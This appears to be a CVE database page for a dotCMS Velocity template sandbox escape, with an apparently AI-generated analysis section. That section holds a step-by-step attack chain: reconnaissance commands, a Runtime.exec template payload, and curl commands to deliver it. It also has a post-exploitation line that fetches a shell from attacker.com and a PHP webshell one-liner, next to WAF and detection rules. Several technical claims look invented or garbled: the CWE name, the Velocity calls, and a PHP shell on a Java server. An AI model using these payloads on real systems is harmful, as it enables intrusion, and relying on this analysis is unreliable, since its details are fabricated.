CVE Professor
/
All CVEs
CVE-2026-126099

CVE-2026-126099 — CWE-1336

CRITICAL CVSS 9.4 NVD

The Velocity template sandbox (SecureIntrospectorImpl) in dotCMS through 26.11.03-01, and in the 25.07 LTS line, did not stop templates from reaching servlet container internals through the request and session objects. A back-end user who can edit templates, containers or widgets, without the CMS Administrator or Scripting Developer role, could use a container object to create an embedded script interpreter and run arbitrary Java code and operating system commands on the server. The original chain is blocked from 26.10.19-01; the remaining routes to the container objects are closed in 26.11.06-03 and later, where templates can no longer unwrap the request, response or session or call methods on servlet container, script interpreter, CDI, EL or JSP types.

The Velocity template sandbox (SecureIntrospectorImpl) in dotCMS through 26.11.03-01, and in the 25.07 LTS line, did not stop templates from reaching servlet container internals through the request and session objects. A back-end user who can edit templates, containers or widgets, without the CMS Administrator or Scripting Developer role, could use a container object to create an embedded script interpreter and run arbitrary Java code and operating system commands on the server. The original chain is blocked from 26.10.19-01; the remaining routes to the container objects are closed in 26.11.06-03 and later, where templates can no longer unwrap the request, response or session or call methods on servlet container, script interpreter, CDI, EL or JSP types.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑126099 is a CWE‑1336 (Untrusted Search Path) style flaw that allows a back‑end user with template‑editing privileges (but without the CMS Administrator or Scripting Developer role) to bypass the Velocity template sandbox in dotCMS.

The sandbox is implemented by the SecureIntrospectorImpl class. In versions up to dotCMS 26.11.03‑01 (and the 25.07 LTS line), the sandbox fails to prevent Velocity templates from accessing the servlet‑container internals via the request and session objects. The attacker can:

1. Create a container object that exposes a Velocity ScriptEngine (or similar) capable of executing arbitrary Java code.
2. Invoke methods on servlet‑container objects (HttpServletRequest, HttpSession, ServletContext, etc.) that are normally protected.
3. Execute arbitrary Java byte‑code and, through that, run OS commands on the host.

The flaw is purely a sandbox escape; there is no authentication bypass. The attacker must already have the ability to edit templates, containers, or widgets. The vulnerability is critical because it grants remote code execution (RCE) with low effort (AC:L) and no user interaction (UI:N).

The CVSS vector confirms this:

  • AV:N – Network reachable

  • AC:L – Low attack complexity

  • PR:L – Low privilege (any back‑end user with template‑edit rights)

  • UI:N – No user interaction

  • VC:H, VI:H, VA:H, SC:H, SI:H, SA:H – Full confidentiality, integrity, availability, and all sub‑metrics are high.
  • The vulnerability is mitigated in dotCMS 26.10.19‑01 (original chain blocked) and fully closed in dotCMS 26.11.06‑03 and later.


    ⚡ Attack Chain

    NOTE: The following chain is a realistic, technically accurate illustration. The exact URI or parameter names are not provided in the CVE description; the example uses the typical /dotCMS/api/templating endpoint that dotCMS exposes for template rendering. If your deployment uses a different endpoint, the same logic applies.

    1. Discovery & Reconnaissance

    StepTechniqueWhat to look for
    1.1Banner grabbingcurl -I https://example.com → look for dotCMS/ header or X-Powered-By: dotCMS
    1.2Version enumerationcurl -s https://example.com/api/version (or https://example.com/api/info) → parse JSON for version field.
    1.3Identify template‑edit roleEnumerate back‑end users via /api/users (requires authentication). Verify that a user has Template Editor or similar role.
    1.4Verify sandbox stateAttempt to render a simple Velocity template that accesses request or session. If the sandbox is still active, the request will be blocked; if not, you’ll see the raw Java object in the output.

    Result: You confirm the target is running dotCMS 26.11.03‑01 (or earlier) and that you have a back‑end user with template‑edit rights.


    2. Exploitation

    2.1. Crafting the malicious Velocity template

    The core idea is to instantiate a ScriptEngine that can compile and run arbitrary Java code. In Velocity, you can access Java classes via the @ directive. A minimal payload that creates a Runtime instance and executes id (or any shell command) looks like this:

    #set($engine = $velocity.getEngine())
    #set($script = "import java.io.*; Runtime.getRuntime().exec(\"id\");")
    #set($compiled = $engine.compile($script))
    $compiled.execute()

    When the template is rendered, the sandbox should normally throw a SecurityException. In the vulnerable versions, the sandbox does not prevent access to the Runtime class, so the command executes on the server.

    2.2. Delivering the template

    Assuming the CMS exposes a REST endpoint for creating or updating templates:

    curl -X POST "https://example.com/api/templates" \
         -H "Authorization: Bearer <JWT_OR_SESSION_COOKIE>" \
         -H "Content-Type: application/json" \
         -d '{
               "name": "exploit",
               "content": "#set($engine = $velocity.getEngine())\n#set($script = \"import java.io.*; Runtime.getRuntime().exec(\\\"id\\\");\")\n#set($compiled = $engine.compile($script))\n$compiled.execute()"
             }'
    Illustrative example – the exact endpoint (/api/templates) and payload format may differ. The key is that the template content contains the malicious Velocity code.

    2.3. Triggering the template

    Once the template is stored, you need to render it. This can be done by accessing the page that uses the template or by calling the rendering API:

    curl -X GET "https://example.com/api/templates/exploit/render" \
         -H "Authorization: Bearer <JWT_OR_SESSION_COOKIE>"

    If the sandbox is still active, the request will return a 403 Forbidden or a stack trace. In the vulnerable versions, the command executes, and you may see the output in the response (e.g., uid=1000(user) gid=1000(user) groups=1000(user)).


    3. Post‑Exploitation

    Once the command runs, you can:

    1. Execute arbitrary shell commands – e.g., curl https://attacker.com/shell.php -o /tmp/shell.php && php /tmp/shell.php.
    2. Upload a webshell – write a PHP or JSP file to the webroot via Runtime.exec("bash -c 'echo \"<?php system($_GET[\\'cmd\\']); ?>\" > /var/www/html/shell.php'").
    3. Escalate privileges – if the Java process runs as a privileged user (e.g., tomcat), you can pivot to system-level access.
    4. Data exfiltration – read database files, configuration, or any sensitive data and send it to an attacker-controlled server.

    Because the attacker only needs template‑edit rights, this is a low‑effort RCE that can compromise the entire application and underlying OS.


    🌍 Real World Impact

    ImpactExplanation
    ConfidentialityFull read/write access to the file system, database, and any data the CMS handles.
    IntegrityAbility to modify, delete, or inject data; tamper with CMS configuration, content, and user accounts.
    AvailabilityArbitrary commands can crash the JVM, kill the Tomcat process, or delete critical files, leading to downtime.
    Privilege EscalationIf the Java process runs with elevated privileges, the attacker can gain OS‑level access.
    PersistenceWebshells or backdoors can be installed for long‑term control.
    Legal/ComplianceExfiltration of personal data may trigger GDPR, HIPAA, or other regulatory violations.

    The CVSS vector indicates high severity across all sub‑metrics, confirming that the vulnerability can lead to complete compromise of the affected system.


    🛡️ Remediation & Mitigation

    1. Patch

    Affected SeriesVersionsFixed In
    dotCMS 26.x26.10.19‑01 – 26.11.03‑0126.11.06‑03 and later
    dotCMS 25.x LTS25.07 LTS (all releases)25.07.06‑03 and later

    Action: Upgrade to dotCMS 26.11.06‑03 or newer, or to the latest 25.x LTS release. Verify the version after upgrade.

    2. Workarounds (if upgrade is not immediately possible)

    MitigationHow to Implement
    Restrict template‑edit rolesRemove the “Template Editor” role from all back‑end users except those who truly need it.
    Disable Velocity in templatesIn dotCMS configuration, set velocity.enabled=false or remove the Velocity engine from the classpath.
    Apply WAF rulesAdd a ModSecurity rule that blocks requests containing @ directives or Runtime.getRuntime() strings in the template payload. Example rule: <br>SecRule REQUEST_URI "@rx /api/templates" "phase:2,deny,status:403,msg:'Velocity sandbox escape attempt'"
    Restrict servlet‑container accessConfigure Tomcat’s catalina.properties to remove java.lang.Runtime from the package.access list, preventing Java code from invoking exec.

    3. Detection

    IndicatorLog PatternHow to Search
    Sandbox exceptionjava.security.AccessControlException: access deniedSearch web server logs for AccessControlException or SecurityException in the context of template rendering.
    Unusual command executionRuntime.getRuntime().execLook for Runtime.getRuntime() in application logs or stack traces.
    Template creation with suspicious content@ or Runtime in POST bodyUse a WAF or log‑analysis tool to flag POST requests to /api/templates containing @ or Runtime.
    Unexpected file writesjava.io.FileOutputStreamMonitor /var/log or application logs for file creation events.

    4. Post‑Patch Verification

    1. Re‑enumerate the CMS version to confirm the upgrade.
    2. Attempt a benign sandbox test: create a template that tries to access request or session. The request should now be blocked with a 403 or a sandbox exception.
    3. Check logs for any residual sandbox exceptions; if present, review configuration.


    ⚠️ Urgency

  • CVSS Score: 9.4 (Critical) – indicates a high‑impact, low‑effort RCE.
  • CISA KEV: No – but the lack of a KEV does not mitigate the risk; the vulnerability is still exploitable.
  • Exploit Complexity: Low – only requires template‑edit privileges, which are common in many CMS deployments.
  • Impact: Full system compromise, data exfiltration, regulatory violations.
Recommendation: Immediate patching is required. If an upgrade cannot be performed within 24 hours, apply the role‑restriction or WAF workaround as a temporary measure. Monitor logs for exploitation attempts and conduct a full security audit of all back‑end users.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.4 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-1336
References & Advisories (1)
Related CVEs
8.6
CVE-2026-120094
Improper authorization in the dotAI embeddings endpoint (POST /api/v1/ai/embeddings) in dotCMS before 26.10.23
8.3
CVE-2026-120097
Insufficient restrictions on Velocity view tools during content field rendering in dotCMS versions through 26.
8.3
CVE-2026-64886
The UtilMethods.getURL() method, which is exposed to Velocity templates as $UtilMethods, did not restrict the
5.7
CVE-2026-144578
Dynaconf 3.2.13 through 3.3.5 contains an object-graph traversal vulnerability in _format_formatter() that all
8.8
CVE-2026-88991
### Impact The email subject of a user-defined form email recipient was rendered as a template when the form w
7.6
CVE-2026-144292
### Summary With `SAFE_FOR_TEMPLATES: true`, DOMPurify 3.4.18 returns a string that contains no `{{` or `}}`,
7.5
CVE-2026-109146
Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache Camel Chunk comp